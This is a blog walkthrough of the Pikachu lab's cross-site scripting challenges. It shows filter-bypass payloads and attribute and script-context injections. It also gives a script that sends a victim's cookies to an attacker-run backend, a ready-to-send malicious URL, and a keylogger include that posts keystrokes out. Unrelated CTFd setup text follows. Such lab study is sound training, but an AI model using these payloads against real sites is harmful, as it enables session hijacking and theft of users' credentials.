【web-ctf】ctf-pikachu-XSS

XSS(跨站脚本攻击,Cross Site Scripting)

XSS攻击流程:
在这里插入图片描述

XSS危害:存储型>反射型>DOM型
XSS原因:程序对输入和输出的控制不够严格,导致精心构造的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

XSS漏洞测试流程:

1. 在目标站点上找到输入点,比如查询接口,留言板等 
2. 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理
3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
4. 提交构造的脚本(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

tips:

1. 一般查询接口容易出现反弹型XSS,留言板容易出现存储型XSS
2. 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器)
3. 通过变化不同的script,尝试绕过后台过滤机制

1.反射型XSS(GET)

  1. 在输入框随便输入一个字符串,比如james
    在这里插入图片描述

  2. 发现返回的内容中出现了james,因此我们可以推测后台是将输入的字符原封不动的传回给前端。观察网页源代码。
    在这里插入图片描述

  3. 因此我们可以构造一个js代码来尝试执行,看后端会不会进行解析。
    在这里插入图片描述
    发现输入框中无法输入过长字符串。如果该限制是在前端进行的,则没有意义,我们可以按F12进入web开发者工具,找到对应的html代码进行修改即可。
    在这里插入图片描述
    然后继续写js代码。
    在这里插入图片描述

  4. 发现可以执行,因此判断网页存在XSS漏洞,如果将该js代码改为恶意代码,即可执行攻击。
    在这里插入图片描述

  5. 观察网页url,发现写的js代码也出现在url里面,可以判断出这是GET方式的XSS漏洞。
    在这里插入图片描述

  6. 因此进行攻击时,可以直接在url中写入恶意代码进行攻击。

    GET方式的XSS漏洞更容易利用,一般利用的方式是将带有跨站脚本的url伪装后发送给目标,而POST方式由于是以表单方式提交,无法直接使用url方式进行攻击。

2.反射型XSS(POST)

POST方式需要构造一个带表单的恶意站点,然后将payload内容放到恶意站点的表单中,再将url发送给受害者,诱使其点击。

3.存储型XSS

存储型XSS漏洞跟反射型形成原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称为“永久型”XSS。

  1. 我们同样在输入框中随便输入一个字符串’111’。
    在这里插入图片描述
    点击提交后,发现留言列表中出现了111。并且刷新之后,该留言不会消失。因此可以判断此留言被存入了数据库中。

  2. 因此我们同样构造一段js代码进行测试。点击提交,发现后端对该js代码进行了解析,并且每次刷新,都会执行该js代码,因此可以判断存在存储型XSS漏洞。
    在这里插入图片描述
    在这里插入图片描述

4.DOM型XSS

DOM可以理解为一个访问HTML标准的接口,里面集成了很多函数用于操作HTML元素。
DOM具体介绍链接

  1. 同样,先随便输入一个字符串,发现返回一个类似于a标签(带链接)的字符串。
    在这里插入图片描述

  2. 查看网页源代码,搜索上述字符串
    在这里插入图片描述
    分析得知,点击click me!按钮后,会调用domxss函数,该函数中首先提取输入框中的内容并存入变量str中,然后观察domxss函数中的第二行发现,a标签中以链接的形式使用到了上面的str变量,因为str变量我们是可以任意输入的,因此就造成了DOM型的XSS漏洞,我们可以构造特殊字符串使得该字符串被解析执行。

  3. 构造恶意字符串

    从a标签中的内容可以得知,我们可以修改的位置是 “+str+” 部分。

     <a href='"+str+"'>what do you see?</a>
    

    因此我们把这个部分整体删除,留下剩余部分

     <a href=''>what do you see?</a>
    

    然后构造字符串,首先先要闭合左边的单引号,我们使用 #’ 来闭合;然后加入onclick,为该链接提供功能,我们在里面可以写入恶意代码,这里为了演示,只写了alert(111)。然后用>来闭合<

     <a href='#' onclick="alert(111)">'>what do you see?</a>
    

    将我们构造的部分截取下来,如下所示:

     #' onclick="alert(111)">
    

    此部分就是我们输入框中要输入的部分。

  4. 填入输入框,点击按钮后再点击弹出的链接,发现成功弹窗。
    在这里插入图片描述
    注意:DOM型XSS只在前端进行操作,信息不进入后端。因此基本无法进行攻击,该题目只是为了让你理解DOM型攻击的方法和流程。

5.DOM型XSS-X

这个攻击与上面攻击的不同点在于,上面的攻击是从前端网页标签中获取字符串,而这个攻击获取输入内容的方法是从网页url中获取字符串。这类似于反射型XSS,我们可以构造一个恶意url对目标进行攻击。
在这里插入图片描述
发现a标签和上面的攻击的书写形式基本一致,因此我们构造恶意字符串的方法一样,填入:

#' onclick="alert(111)">

在这里插入图片描述

6.XSS之盲打

原理:存在XSS漏洞,输入的内容不会回显到网页上,但有可能传入到了后台,因此攻击者不可见。攻击者可以嵌入恶意代码,当后台管理人员登录网站时,恶意代码就会被执行,只是攻击者无法直观的发现是否存在XSS漏洞,因此成为盲打。

  1. 随便输入一些信息。
    在这里插入图片描述

  2. 发现没有在页面上回显,但不代表不存在XSS漏洞,只是我们难以判断他是否存在XSS漏洞。
    在这里插入图片描述

  3. 写入一些可执行的网页代码提交。
    在这里插入图片描述

  4. 此时我们以管理员的身份登录一下后台。(注意此时我们的身份从攻击者转为了被攻击者)
    在这里插入图片描述

  5. 发现后台被攻击成功。(虽然攻击者并不能很直观的知道是否存在XSS漏洞,但可通过反复尝试,看是否攻击成功来确定该网页是否存在XSS漏洞)

7.XSS之过滤

XSS漏洞存在一些防护措施,但依旧有办法对这些防护措施进行绕过。

防范措施及其绕过方法:

  1. 前端限制。绕过方法:直接抓包重放,或者修改HTML前端代码。(安全措施最好不要在前端进行)
  2. 正则匹配。绕过方法:
    (1)大小写。使用大小写混合来绕过正则匹配。比如:<SCript>aLert(111)</SCRIPt>
    (2)注释干扰。比如:<scri<!–zhushi–>pt>alert(111)</sc<!–zhushi–>ript>
    (3)编码。将易被过滤的标签进行编码,以此来绕过匹配机制。注意当浏览器对该编码进行识别时,要能翻译为正常标签才可。
  3. 替换删除。绕过方法:
    (1)拼凑。因为一般的替换删除都只进行一次,因此可以使用拼凑法绕过替换删除操作。比如:<scri<script>pt>alert(111)</scri</script>pt>
    (2)注释干扰。
    (3)编码。
  1. 首先输入一些常见恶意代码常用的标签和字符
    在这里插入图片描述
    发现回显内容并不包含script,说明对字符串“ <script ”进行过滤。

  2. 我们可以尝试上面提到的大小写绕过方式。

    输入:

     <ScriPT>alert(111)</ScriPT>
    

    在这里插入图片描述
    发现绕过成功。

    XSS有关过滤-绕过的方式有很多,详情可以上网查询相关方法。

8.XSS之html special chars

htmlspecialchars()函数会将一些预定义的字符进行编码。

预定义字符:

&  -- &amp
"  -- &quot
'  -- &#039
<  -- &lt
>  -- &gt

可用的引号类型:

ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 默认。编码双引号和单引号
ENT_NOQUOTES - 默认。不编码任何引号
  1. 首先输入一些常用的字符。
    在这里插入图片描述
    发现并没有进行过滤,那就要考虑是否进行了编码。

  2. 查看网页源码
    在这里插入图片描述
    发现的确进行了编码,但是单引号并没有进行编码。

  3. 构造恶意代码

     ' onclick='alert(111)'
    

    第一个单引号用于闭合href的单引号。
    在这里插入图片描述
    在这里插入图片描述
    攻击成功。

9.XSS之href输出

  1. 随便输入一些常用字符,看看是否存在过滤或者编码情况。
    在这里插入图片描述
    在这里插入图片描述
    发现这里将单引号和双引号都进行了编码,因此无法采用上面的方法。
    但是a标签的href属性里面是可以使用javascript协议来执行js的

  2. 因此我们可以这样构造恶意代码:javascript:alert(111)。
    在这里插入图片描述在这里插入图片描述
    攻击成功。

    所以针对href属性,除了使用htmlspecialchars函数进行转义,还要在输入时对字符串进行过滤,因为href一般为网页超链接,因此只要将开头不是http或https的字符串都过滤掉,这样一般就不会出现问题了。

10.XSS之js输出

  1. 随便输入字符串。查看网页源代码。
    在这里插入图片描述
    在这里插入图片描述
    发现输入的内容嵌入到了js代码中。

  2. 我们可以构造一个闭合,来实现攻击。

<script>
    $ms='11111'; //对输入的内容进行修改,先用一个'闭合左边的单引号,然后再用</script>闭合开头的<script>,后面再嵌入恶意代码即可
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>
最后输入内容为:x'</script><script>alert('xss')</script>
<script>
    $ms='x'</script><script>alert('xss')</script>'; 
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>
  1. 进行攻击。
    在这里插入图片描述
    攻击成功。

    因为js中无法解析那些进行过html实体编码的字符,因此不能使用htmlspecialchars,所以在js中的转义一般用\实现。

案例

1.通过XSS获取cookie及xss管理后台使用

在这里插入图片描述
利用反射型XSS(GET)进行攻击

构造能够读取用户cookie值并传送到攻击者后台的js代码:
<script>document.location = 'http://127.0.0.1/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
这里我为了方便起见,将被攻击者和攻击者都设置为本机,即127.0.0.1,如果使用图中的ip,则应该是:
<script>document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

将这段代码放入存在反射型XSS(GET)漏洞的浏览器中:
在这里插入图片描述
然后提交,发现攻击者后台就得到了访问该网页的用户的cookie以及一些其他信息。
在这里插入图片描述
我们发现点击提交之后,网页url如下所示:

	http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

然后我们可以将这段url发送给用户来进行cookie收集,只要访问了这个网站的用户都会中招,这就是反射型XSS(GET)方法进行cookie收集的方法。

2.通过XSS进行钓鱼攻击

原理:在一个存在XSS漏洞的网页上嵌入一个请求,该请求需要用户输入“用户名”和“密码”,从而可以收集用户信息。
在这里插入图片描述

3.通过XSS获取键盘记录

为了方便起见,这里攻击者和被攻击者用的同一个ip(127.0.0.1)

  1. 修改配置文件

    (1)将http://127.0.0.1/pkxss/rkeypress/rk.js文件中倒数第六行修改为:

     ajax.open("POST", "http://127.0.0.1/pkxss/rkeypress/rkserver.php",true);
     即将ip改为攻击者ip,因为要将获取到的键盘信息以POST方式发送给攻击者。
    

    (2)将http://127.0.0.1/pkxss/rkeypress/rkserver.php文件中的:
    在这里插入图片描述
    取消注释,设置为允许被跨域访问。因为被攻击者的ip通常与攻击者ip不同(本实验相同,为了方便),所以一般无法在被攻击者网页通过POST方式操作攻击者网页,因此需要设置跨域访问权限。

  2. 将恶意js文件代码放入带有XSS漏洞的网页中

     <script src="http://127.0.0.1/pkxss/rkeypress/rk.js"></script>
    

在这里插入图片描述

  1. 随意在该网页上敲击键盘,登录攻击者后台,可以发现已经记录下来了。
    在这里插入图片描述

总结

XSS常见防范措施

总的原则:输入做过滤,输出做转义。

过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。

转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到js里面的进行js转义。

  • 2
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFd是一个用于举办和参加CTF(Capture The Flag)安全竞赛的平台。根据引用\[1\]和引用\[2\]的内容,你可以按照以下步骤在Ubuntu上搭建CTFd平台: 1. 首先,确保你已经安装了虚拟机并配置好了Ubuntu系统。具体的安装和配置步骤可以参考相关的教程。 2. 配置阿里云镜像下载源文件。这可以加快软件包的下载速度。你可以按照引用\[1\]中的指导进行配置。 3. 进入CTFd目录。在终端中使用cd命令进入CTFd的目录。 4. 使用gunicorn工具配置CTFd。根据引用\[2\]和引用\[3\]的内容,你可以使用以下命令配置gunicorn工具: ``` gunicorn --bind 0.0.0.0:8000 -w 5 "CTFd:create_app()" ``` 5. 如果你希望在重启电脑后再次运行CTFd平台,确保以root权限运行。在Ubuntu终端中使用sudo命令运行上述命令。 这样,你就可以在Ubuntu上成功搭建CTFd平台了。请注意,这只是一个简单的搭建过程,具体的配置和使用方法可能会有所不同,你可以参考相关的文档和教程进行更详细的了解和操作。 #### 引用[.reference_title] - *1* *2* *3* [基于Ubuntu搭建CTFd平台(全网最全)](https://blog.csdn.net/qq_25953411/article/details/127489944)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值